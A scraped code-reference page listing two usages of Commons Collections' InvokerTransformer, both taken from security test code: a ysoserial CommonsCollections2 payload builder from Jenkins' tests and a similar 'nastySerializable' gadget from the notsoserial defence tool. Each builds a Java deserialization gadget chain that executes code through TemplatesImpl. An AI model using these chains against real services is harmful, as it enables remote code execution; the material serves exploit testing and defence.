Example usage for org.apache.commons.collections4.functors InvokerTransformer InvokerTransformer

List of usage examples for org.apache.commons.collections4.functors InvokerTransformer InvokerTransformer

Introduction

In this page you can find the example usage for org.apache.commons.collections4.functors InvokerTransformer InvokerTransformer.

Prototype

public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) 

Source Link

Document

Constructor that performs no validation.

Usage

From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections2.java

public Queue<Object> getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);/*from  w w w . ja v a 2 s  .co m*/
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

From source file:org.kantega.notsoserial.CreateBytesIT.java

private Object nastySerializable() {
    InvokerTransformer transformer = new InvokerTransformer("toString", new Class[] {}, new Object[] {});

    Queue priorityQueue = new PriorityQueue(2, new TransformingComparator(transformer));
    priorityQueue.add(1);/*from w w w.  j  a  va  2  s .  c o m*/
    priorityQueue.add(1);

    TemplatesImpl templates = createTemplates();

    setFieldValue(transformer, "iMethodName", "newTransformer");

    Object[] queue = (Object[]) getFieldValue(priorityQueue, "queue");
    queue[0] = templates;
    queue[1] = templates;
    return priorityQueue;
}